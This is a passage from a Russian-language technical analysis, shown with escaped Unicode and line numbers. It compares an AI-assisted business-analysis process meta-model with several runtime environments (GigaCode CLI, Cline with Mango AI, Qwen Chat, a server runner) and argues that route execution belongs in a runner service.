\u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n114\\t   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 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\u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438\\n121\\t   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n122\\t   \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\\n123\\t   \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435\\n124\\t   \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\\n125\\t\\n126\\t## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n127\\t\\n128\\t\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n129\\t\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n130\\t\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n131\\t\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n132\\t\\n133\\t| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n134\\t|---------------|-------------------|--------------------------|----------------------|----------------------|\\n135\\t| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n136\\t| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n137\\t| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n138\\t| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n139\\t| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n140\\t| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n141\\t| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n142\\t\\n143\\t\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n144\\t\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n145\\t\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n146\\t\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n147\\t\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n148\\t\\n149\\t## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n150\\t\\n151\\t\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n152\\t\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n153\\t\\n154\\t| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n155\\t|------|-----------------------|---------------------------|--------------------|-----------------|\\n156\\t| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n157\\t| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n158\\t| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n159\\t| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n160\\t| 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|\\n162\\t\\n163\\t\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n164\\t\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n165\\t\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n166\\t\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n167\\t\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n168\\t\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f 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([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n178\\t  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n179\\t  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n180\\t  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n181\\t  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n182\\t  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n183\\t  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n184\\t  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n185\\t- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n186\\t  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n187\\t  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n188\\t  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n189\\t  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n190\\t  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n191\\t  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n192\\t  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n193\\t  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n194\\t  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n195\\t- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n196\\t  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n197\\t  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n198\\t  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n199\\t  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n200\\t  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n201\\t  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n202\\t\\n203\\t### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n204\\t\\n205\\t\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n206\\t\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n207\\t\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n208\\t\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 